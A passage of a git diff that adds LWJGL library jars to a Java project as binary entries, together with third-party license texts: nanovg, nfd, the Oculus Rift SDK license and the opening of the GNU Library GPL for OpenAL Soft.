b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-windows.jar new file mode 100644 index 0000000..e6ce647 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nuklear.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear.jar new file mode 100644 index 0000000..cf34707 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-linux.jar new file mode 100644 index 0000000..75b863a Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-macos.jar new file mode 100644 index 0000000..a340ce1 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-windows.jar new file mode 100644 index 0000000..17c045f Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openal-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openal.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openal.jar new file mode 100644 index 0000000..73999ed Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openal.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opencl.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opencl.jar new file mode 100644 index 0000000..a89a1c5 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opencl.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-linux.jar new file mode 100644 index 0000000..7386be1 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-macos.jar new file mode 100644 index 0000000..52af9f8 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-windows.jar new file mode 100644 index 0000000..ac20229 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengl-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengl.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengl.jar new file mode 100644 index 0000000..abd341e Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengl.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-linux.jar new file mode 100644 index 0000000..24356d7 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-macos.jar new file mode 100644 index 0000000..1b403d0 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-windows.jar new file mode 100644 index 0000000..729b578 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengles-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-opengles.jar b/src/Java/Jars/lwjgl_jars/lwjgl-opengles.jar new file mode 100644 index 0000000..4bb7044 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-opengles.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-linux.jar new file mode 100644 index 0000000..ce9042b Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-macos.jar new file mode 100644 index 0000000..7513ba7 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-windows.jar new file mode 100644 index 0000000..78e9803 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openvr-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-openvr.jar b/src/Java/Jars/lwjgl_jars/lwjgl-openvr.jar new file mode 100644 index 0000000..69ec5dc Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-openvr.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-ovr-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-ovr-natives-windows.jar new file mode 100644 index 0000000..542d399 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-ovr-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-ovr.jar b/src/Java/Jars/lwjgl_jars/lwjgl-ovr.jar new file mode 100644 index 0000000..da8d7d7 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-ovr.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-linux.jar new file mode 100644 index 0000000..a1ccde0 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-macos.jar new file mode 100644 index 0000000..9bc5e0c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-windows.jar new file mode 100644 index 0000000..d995a4e Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-par-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-par.jar b/src/Java/Jars/lwjgl_jars/lwjgl-par.jar new file mode 100644 index 0000000..13e5cfc Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-par.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-linux.jar new file mode 100644 index 0000000..226df24 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-macos.jar new file mode 100644 index 0000000..4e35f6c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-windows.jar new file mode 100644 index 0000000..5d0a1ae Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-sse-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-sse.jar b/src/Java/Jars/lwjgl_jars/lwjgl-sse.jar new file mode 100644 index 0000000..d466e90 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-sse.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-linux.jar new file mode 100644 index 0000000..1a76c0c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-macos.jar new file mode 100644 index 0000000..6ef2a2c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-windows.jar new file mode 100644 index 0000000..5619e49 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-stb-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-stb.jar b/src/Java/Jars/lwjgl_jars/lwjgl-stb.jar new file mode 100644 index 0000000..84fd156 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-stb.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-linux.jar new file mode 100644 index 0000000..a7f8a9e Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-macos.jar new file mode 100644 index 0000000..0fa6d04 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-windows.jar new file mode 100644 index 0000000..a194eac Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr.jar new file mode 100644 index 0000000..87303db Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyexr.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-linux.jar new file mode 100644 index 0000000..9aec7d4 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-macos.jar new file mode 100644 index 0000000..ab8060a Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-windows.jar new file mode 100644 index 0000000..72ce28b Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd.jar b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd.jar new file mode 100644 index 0000000..394beac Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-tinyfd.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-vulkan.jar b/src/Java/Jars/lwjgl_jars/lwjgl-vulkan.jar new file mode 100644 index 0000000..03aa655 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-vulkan.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-linux.jar new file mode 100644 index 0000000..cff9b52 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-macos.jar new file mode 100644 index 0000000..36c8923 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-windows.jar new file mode 100644 index 0000000..d60cca7 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-xxhash.jar b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash.jar new file mode 100644 index 0000000..1e1b02c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-xxhash.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-linux.jar new file mode 100644 index 0000000..4c0d089 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-macos.jar new file mode 100644 index 0000000..9aa137c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-windows.jar new file mode 100644 index 0000000..696e885 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-yoga-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-yoga.jar b/src/Java/Jars/lwjgl_jars/lwjgl-yoga.jar new file mode 100644 index 0000000..c6683cc Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-yoga.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl.jar b/src/Java/Jars/lwjgl_jars/lwjgl.jar new file mode 100644 index 0000000..2f201f4 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl.jar differ diff --git a/src/Java/Jars/lwjgl_jars/nanovg_license.txt b/src/Java/Jars/lwjgl_jars/nanovg_license.txt new file mode 100644 index 0000000..c9a1534 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/nanovg_license.txt @@ -0,0 +1,18 @@ +Copyright (c) 2013 Mikko Mononen memon@inside.org + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must not +claim that you wrote the original software. If you use this software +in a product, an acknowledgment in the product documentation would be +appreciated but is not required. +2. Altered source versions must be plainly marked as such, and must not be +misrepresented as being the original software. +3. This notice may not be removed or altered from any source distribution. + diff --git a/src/Java/Jars/lwjgl_jars/nfd_license.txt b/src/Java/Jars/lwjgl_jars/nfd_license.txt new file mode 100644 index 0000000..3ab103c --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/nfd_license.txt @@ -0,0 +1,16 @@ +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. +2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. +3. This notice may not be removed or altered from any source distribution. + diff --git a/src/Java/Jars/lwjgl_jars/oculus_license.txt b/src/Java/Jars/lwjgl_jars/oculus_license.txt new file mode 100644 index 0000000..b819ea0 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/oculus_license.txt @@ -0,0 +1,264 @@ +Oculus VR, LLC Software Development Kit License Agreement + +Copyright ยฉ 2014 Oculus VR, LLC All rights reserved. + +The text of this may be found at: http://www.oculusvr.com/licenses/LICENSE-3.2 + +Human-Readable Summary*: + +You are Free to: + +Use, modify, and distribute the Oculus VR Rift SDK in source and binary +form with your applications/software. + +With the Following Restrictions: + +You can only distribute or re-distribute the source code to LibOVR in +whole, not in part. + +Modifications to the Oculus VR Rift SDK in source or binary form must +be shared with Oculus VR. + +If your applications cause health and safety issues, you may lose your +right to use the Oculus VR Rift SDK, including LibOVR. + +The Oculus VR Rift SDK may not be used to interface with unapproved commercial +virtual reality mobile or non-mobile products or hardware. + +* - This human-readable Summary is not a license. It is simply a convenient +reference for understanding the full Oculus VR Rift SDK License Agreement. +The Summary is written as a user-friendly interface to the full Oculus VR Rift +SDK License below. This Summary itself has no legal value, and its contents do +not appear in the actual license. + +Full-length Legal Copy: + +1. Subject to the terms and conditions of this License Agreement (the "License"), +Oculus VR, LLC ("Oculus VR") hereby grants to you a perpetual, worldwide, +non-exclusive, no-charge, royalty-free, sublicenseable copyright license to use, +reproduce, redistribute (subject to restrictions below), modify, and improve the +software contained in this Oculus VR Rift Software Development Kit ("RIFT SDK"), +including, but not limited to, the samples, headers, LibOVR headers, and LibOVR +source. This license is subject to the following terms and conditions: + +1.1. This license includes the non-exclusive license and right to use (i) the RIFT +SDK to make applications, content, games and demos (collectively and generally +referred to as "Developer Content") that run on the Oculus VR approved mobile hardware +and software products ("Oculus Approved Rift Products") and which may incorporate +the RIFT SDK in whole or in part in binary or object code; and (ii) to use the +RIFT SDK to create derivative works of the RIFT SDK itself ("RIFT SDK Derivatives"), +whether in source, binary, or object form, in whole or in part, including third +party software unless otherwise noted. + +1.2. RIFT SDK Derivatives are further defined as source, binary or object code +derived exclusively from the RIFT SDK by you; provided, however, that RIFT SDK +Derivatives do not include the Developer Content (engines, utilities, applications, +content, games or demos) which may be developed using the RIFT SDK. By way of example +a mobile application or game or demo that is developed using the RIFT SDK would not +be a RIFT SDK Derivative , nor would a utility or tool set in a pre-existing game +engine that is adapted to work with the RIFT SDK be a RIFT SDK Derivative. +By way of example, but not limitation, a RIFT SDK Derivative is or would be: either (i) +an adaptation of a utility or piece of code from the RIFT SDK to improve efficiency; +or (ii) an addition of code or improvement to the RIFT SDK that adds functionality. + +1.3 For the sake of clarification when you use the RIFT SDK (including RIFT SDK +Derivatives) in or with Developer Content, you retain all rights to your Developer +Content, and you have no obligations to share or license Developer Content (including +your source and object code) to Oculus VR or any third parties; provided, however, +Oculus VR retains all rights to the RIFT SDK and the RIFT SDK Derivatives that may +be incorporated into your Developer Content. + +1.4 You agree to and you will use the Flash Screen Warning and the Health and +Safety Warnings (collectively the "Oculus Warnings") and the Oculus VR health and +safety protocols found in the Oculus Best Practices Guide ("Oculus H&S Protocols"), +and your use of the Oculus Warnings and the Oculus end user license agreement +("Oculus EULA") with your Developer Content as provided for in the Oculus Developer +Center, all of which can be found at the following link: +https://developer.oculusvr.com/?action=doc. + +2. You, the recipient and user of the RIFT SDK, hereby agree and accept that that +Oculus VR shall own all right, title and interest to the intellectual property +rights, including, but limited to copyright, trademark and patent rights, to any +RIFT SDK Derivatives that you may create, and you hereby assign any and all such +rights to such RIFT SDK Derivatives to Oculus VR, subject to the following. + +2.1 We hereby grant to you the a fully paid up, no-charge, royalty-free, +world-wide, in perpetuity, non-exclusive right and license back to use these RIFT +SDK Derivatives solely in conjunction with the RIFT SDK (or any components of the +RIFT SDK) and/or Developer Content on Oculus Rift Products as set forth herein. + +2.2 Furthermore, for the sake of clarification, Oculus VR and its assignees and +licensees shall be free to use such RIFT SDK Derivatives without any approval +from you and without compensation or attribution to you. + +2.3 You also agree upon Oculus VR's request to provide the source and binary code +of any RIFT SDK Derivatives to Oculus VR. FAILURE TO COMPLY WITH THIS REQUEST +IS THE BASIS FOR AUTOMATIC TERMINATION OF THIS LICENSE BY OCULUS VR. + +3. Subject to the terms and conditions of this License, your license to redistribute +and sublicense the RIFT SDK and RIFT SDK Derivatives is also expressly made +subject to the following conditions: + +3.1. You may sublicense and redistribute the source, binary, or object code of +the RIFT SDK in whole or in part by itself for no charge or as part of a for charge +piece of Developer Content; provided, however, you may only license, sublicense +or redistribute the source, binary or object code of LibOVR in whole, and you may +not license, sublicense or redistribute any portion or element of LibOVR separately +or in part (in either source, binary or object form). If you license, sublicense +or redistribute RIFT SDK Derivatives in and of themselves (not as a part of a +piece of Developer Content) then you may only do that solely with and in conjunction +with either the RIFT SDK or LibOVR. The RIFT SDK (including, but not limited to +LibOVR), any RIFT SDK Derivatives, and any Developer Content may only be used +with Oculus Approved Rift Products and may not be used, licensed, or sublicensed +to interface with mobile software or hardware or other commercial headsets, +mobile tablets or phones that are not authorized and approved by Oculus VR; + +3.2. You must include with all such redistributed or sublicensed RIFT SDK +or RIFT SDK Derivatives code the following copyright notice: +"Copyright ยฉ 2014 Oculus VR, LLC. All rights reserved," and include the +list of conditions contained in this Section 3, including the full text of +the disclaimer in Section 3.6 below; + +3.3. Neither the name of Oculus VR, LLC nor the names of Oculus VR, LLC's +contributors, licensors, employees, or contractors, may be used to endorse or promote +products derived from this RIFT SDK without specific prior written permission +of Oculus VR, LLC; + +3.4. You must give any other recipients of the RIFT SDK or any elements thereof, +including LibOVR or RIFT SDK Derivatives, a copy of this License as such recipients, +licensees or sublicensees may only use the RIFT SDK or any RIFT SDK Derivatives +or any elements thereof subject to the terms of this Licence and such recipients, +licensees or sublicensees agreement and acceptance of this License with Oculus VR +(which will convey all rights to the recipientsโ€™ or licenseesโ€™ or sublicenseesโ€™ +RIFT SDK Derivatives to Oculus VR), and you must cause any modified files to +carry prominent notices stating that you changed the files; + +3.5. If the RIFT SDK or a specific element thereof such as LibOVR includes a +"LICENSE" text file as part of its distribution (the "License Notice"), then +any RIFT SDK Derivatives that you distribute with the RIFT SDK in whole or in +part must include a readable copy of such attribution notices as are contained +within the applicable License Notice file (excluding those notices that do not +pertain to any part of the RIFT SDK Derivatives), in at least one of the following +places: within a License Notice text file distributed as part of the RIFT SDK +Derivatives; within the source form or documentation, if provided along with +the RIFT SDK Derivatives; or, within a display generated by the RIFT SDK Derivatives, +if and wherever such third-party notices normally appear. You must also include +in the License Notice file for all RIFT SDK Derivatives a copy of all notices +(including any product liability or health and safety notices). The contents +of the License Notice file are for informational purposes only and do not modify +the License. You may add your own attribution notices within RIFT SDK Derivatives +that you distribute, alongside or as an addendum to the License Notice text from +the RIFT SDK or any part thereof, provided that such additional attribution notices +cannot be construed as modifying the License. + +3.6. THIS RIFT SDK AND ANY COMPONENT THEREOF IS PROVIDED BY OCULUS VR AND +ITS CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, +BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL OCULUS VR AS THE +COPYRIGHT OWNER OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, +OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS RIFT +SDK OR THE RIFT SDK DERIVATIVES, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +4. This License does not grant permission to use the trade names, trademarks, +service marks, or product names of Oculus VR, except as required for reasonable +and customary use in describing the origin of the RIFT SDK, LibOVR, or any +element thereof, and reproducing the content of the License Notice file. +Oculus VR reserves all rights not expressly granted to you under this License. + +5. In no event and under no legal theory, whether in tort (including negligence), +contract, or otherwise, unless required by applicable law (such as +deliberate and grossly negligent acts) or agreed to in writing, shall Oculus VR +or any contributor be liable to you or your licensees or sublicensees for +damages, including any direct, indirect, special, incidental, or consequential +damages of any character arising as a result of this License or out of the use +or inability to use the RIFT SDK, LibOVR, any element thereof or any RIFT SDK +Derivatives (including but not limited to damages for loss of goodwill, work +stoppage, computer failure or malfunction, or any and all other commercial +damages or losses), even if you or such contributor has been advised of the +possibility of such damages. + +6. Your acceptance of the terms and conditions of this License in and of +itself and for all Developer Content created as of March 1, 2014, may be +evidenced by any of the following: your usage of the RIFT SDK or any element +thereof, acceptance of the click-through agreement, or opening the packaging +of the CD-ROM containing the RIFT SDK or any element thereof, including LibOVR. +As this License is updated for future releases of the RIFT SDK and/or LibOVR, +you agree to abide by and meet all requirements of future updates of this +License for those future RIFT SDK releases as evidenced by the same usage of +the RIFT SDK or any element thereof and the future updates of this License +will apply for that future Developer Content that may developed for or with +that future RIFT SDK or any element thereof (i.e., you cannot sidestep out +of the requirements of future updates of the License by developing against +an older release of the RIFT SDK or License). + +7. Oculus VR reserves the right to terminate this License and all your +rights hereunder in the event you materially breach this License and fail +to cure such breach within ten (10) business days after notice of breach +from Oculus VR. + +8. Furthermore, Oculus VR also reserves the right to cancel or terminate +this License for any of the following reasons upon notice to you, subject +to the appeal process set forth in Section 14 for a wrongful termination: + + a) Intellectual property infringement by you with Developer Content + or RIFT SDK Derivatives created by you that is used with or by the + RIFT SDK or any part thereof, or any of the RIFT SDK Derivatives; + + b) Developer Content that violates or infringes upon applicable law; + + c) Health and safety issues associated with your Developer Content; + + d) Failure to comply with or use properly the Oculus Warnings, + Oculus H&S Protocols, or Oculus EULA; + + e) Use of the RIFT SDK, RIFT SDK Derivatives or LibOVR with a + commercial product other than an Oculus Approved Product; and + + f) Failure to provide required notices or deliver source code + and/or binary of RIFT SDK Derivatives as set forth above. + +If you believe that you have been wrongfully terminated under this Section 8 +with respect to material breach or with respect to these above conditions, +you have the right to appeal the termination of this License under Section 14. + +9. This License may be amended by Oculus VR on a prospective basis, and your +usage of the License after such amendments or changes signifies your consent +to and acceptance of any such amendments or changes on a going forward basis. + +10. In the event any provision of this License is determined to be invalid, +prohibited or unenforceable by a court or other body of competent jurisdiction, +this License shall be construed as if such invalid, prohibited or unenforceable +provision has been more narrowly drawn so as not to be invalid, prohibited or +unenforceable. + +11. You may not assign any rights or obligations under this License without +the advance written consent of Oculus VR, which may be withheld in its sole +discretion. Oculus VR may assign its rights or obligations under this License +in its sole discretion. + +12. Failure of either party at any time to enforce any of the provisions of +this License will not be construed as a waiver of such provisions or in any way +affect the validity of this License or parts thereof. + +13. Your remedies under this License shall be limited to the right to collect +money damages, if any, and you hereby waive your right to injunctive or other +equitable relief. + +14. This License shall be governed by the laws of the State of California, +without giving effect to choice of law principles. All disputes relating to +this License shall be resolved by binding non-appearance-based arbitration +before a neutral arbitrator in Orange County, California. If your License +has been terminated hereunder by Oculus, you may appeal your termination +through this arbitration process on an expedited basis with an arbitration +within thirty days of your giving Oculus VR notice of the appeal. The +arbitration shall be conducted in accordance with the rules and procedures +of JAMS then in effect, and the judgment of the arbitrator shall be final +and capable of entry in any court of competent jurisdiction. You agree +to submit to the personal jurisdiction of the courts located within Orange +County, California in connection with any entrance of an arbitratorโ€™s judgment +or decision or any dispute with respect to the arbitration process or procedure +or Oculus VRโ€™s exercise of its equitable rights or remedies. \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/openal_soft_license.txt b/src/Java/Jars/lwjgl_jars/openal_soft_license.txt new file mode 100644 index 0000000..5bc8fb2 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/openal_soft_license.txt @@ -0,0 +1,481 @@ + GNU LIBRARY GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1991 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the library GPL. It is + numbered 2 because it goes with version 2 of the ordinary GPL.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Library General Public License, applies to some +specially designated Free Software Foundation software, and to any +other libraries whose authors decide to use it. You can use it for +your libraries, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if +you distribute copies of the library, or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link a program with the library, you must provide +complete object files to the recipients so that they can relink them +with the library, after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + Our method of protecting your rights has two steps: (1) copyright +the library, and (2) offer you this license which gives you legal +permission to copy, distribute and/or modify the library. + + Also, for each distributor's protection, we want to make certain +that everyone understands that there is no warranty for this free +library. If the library is modified by someone else and passed on, we +want its recipients to know that what they have is not the original +version, so that any problems introduced by others will not reflect on +the original authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that companies distributing free +software will individually obtain patent licenses, thus in effect +transforming the program into proprietary software. To prevent this, +we have made it clear that any patent must be 